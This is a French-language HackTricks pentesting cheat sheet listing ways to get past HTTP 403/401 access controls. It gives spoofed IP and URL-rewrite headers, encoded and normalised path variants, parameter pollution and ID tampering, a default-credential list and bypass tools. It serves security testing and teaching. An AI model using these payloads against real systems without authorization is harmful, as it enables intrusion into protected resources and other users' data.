403 & 401 Bypasses
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
HTTP Verbs/Methods Fuzzing
Essayez d'utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- VĂ©rifiez les en-tĂȘtes de rĂ©ponse, peut-ĂȘtre que certaines informations peuvent ĂȘtre fournies. Par exemple, une rĂ©ponse 200 Ă HEAD avec
Content-Length: 55
signifie que le verbe HEAD peut accĂ©der Ă l'info. Mais vous devez encore trouver un moyen d'exfiltrer cette info. - Utiliser un en-tĂȘte HTTP comme
X-HTTP-Method-Override: PUT
peut écraser le verbe utilisé. - Utilisez le verbe
TRACE
et si vous avez de la chance, peut-ĂȘtre que dans la rĂ©ponse, vous pouvez Ă©galement voir les en-tĂȘtes ajoutĂ©s par des proxies intermĂ©diaires qui pourraient ĂȘtre utiles.
HTTP Headers Fuzzing
-
Changez l'en-tĂȘte Host Ă une valeur arbitraire (qui a fonctionnĂ© ici)
-
Essayez de utiliser d'autres User Agents pour accéder à la ressource.
-
Fuzz HTTP Headers : Essayez d'utiliser les en-tĂȘtes HTTP, l'authentification HTTP de base et NTLM par brute-force (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai crĂ©Ă© l'outil fuzzhttpbypass.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
Si le chemin est protĂ©gĂ©, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-tĂȘtes :
-
X-Original-URL: /admin/console
-
X-Rewrite-URL: /admin/console
-
Si la page est derriĂšre un proxy, peut-ĂȘtre que c'est le proxy qui vous empĂȘche d'accĂ©der aux informations privĂ©es. Essayez d'abuser de HTTP Request Smuggling ou des en-tĂȘtes hop-by-hop.
-
Fuzz des en-tĂȘtes HTTP spĂ©ciaux Ă la recherche de diffĂ©rentes rĂ©ponses.
-
Fuzz des en-tĂȘtes HTTP spĂ©ciaux tout en fuzzant les mĂ©thodes HTTP.
-
Supprimez l'en-tĂȘte Host et peut-ĂȘtre que vous pourrez contourner la protection.
Path Fuzzing
Si /path est bloqué :
- Essayez d'utiliser /%2e/path _(si l'accÚs est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi_** /%252e**/path (double encodage URL)
- Essayez le bypass Unicode : /%ef%bc%8fpath (Les caractĂšres encodĂ©s en URL sont comme "/") donc lorsqu'ils sont rĂ©encodĂ©s, cela deviendra //path et peut-ĂȘtre que vous aurez dĂ©jĂ contournĂ© la vĂ©rification du nom /path
- Autres contournements de chemin :
- site.com/secret â> HTTP 403 Forbidden
- site.com/SECRET â> HTTP 200 OK
- site.com/secret/ â> HTTP 200 OK
- site.com/secret/. â> HTTP 200 OK
- site.com//secret// â> HTTP 200 OK
- site.com/./secret/.. â> HTTP 200 OK
- site.com/;/secret â> HTTP 200 OK
- site.com/.;/secret â> HTTP 200 OK
- site.com//;//secret â> HTTP 200 OK
- site.com/secret.json â> HTTP 200 OK (ruby)
- Utilisez toute cette liste dans les situations suivantes :
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Autres contournements d'API :
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {âidâ:111} --> 401 Unauthriozied
- {âidâ:[111]} --> 200 OK
- {âidâ:111} --> 401 Unauthriozied
- {âidâ:{âidâ:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (Pollution de paramĂštres JSON)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Pollution de paramĂštres)
Parameter Manipulation
- Changez la valeur du paramĂštre : De
id=123
-->id=124
- Ajoutez des paramÚtres supplémentaires à l'URL :
?
id=124
â->id=124&isAdmin=true
- Supprimez les paramĂštres
- RĂ©organisez les paramĂštres
- Utilisez des caractÚres spéciaux.
- Effectuez des tests de limites dans les paramĂštres â fournissez des valeurs comme -234 ou 0 ou 99999999 (juste quelques valeurs d'exemple).
Protocol version
Si vous utilisez HTTP/1.1 essayez d'utiliser 1.0 ou mĂȘme testez s'il supporte 2.0.
Other Bypasses
- Obtenez l'IP ou le CNAME du domaine et essayez de le contacter directement.
- Essayez de stresser le serveur en envoyant des requĂȘtes GET courantes (Cela a fonctionnĂ© pour ce gars avec Facebook).
- Changez le protocole : de http Ă https, ou de https Ă http
- Allez sur https://archive.org/web/ et vérifiez si dans le passé ce fichier était accessible dans le monde entier.
Brute Force
- Devinez le mot de passe : Testez les identifiants courants suivants. Savez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?
- Brute force: Essayez l'authentification de base, digest et NTLM.
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
Outils Automatiques
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.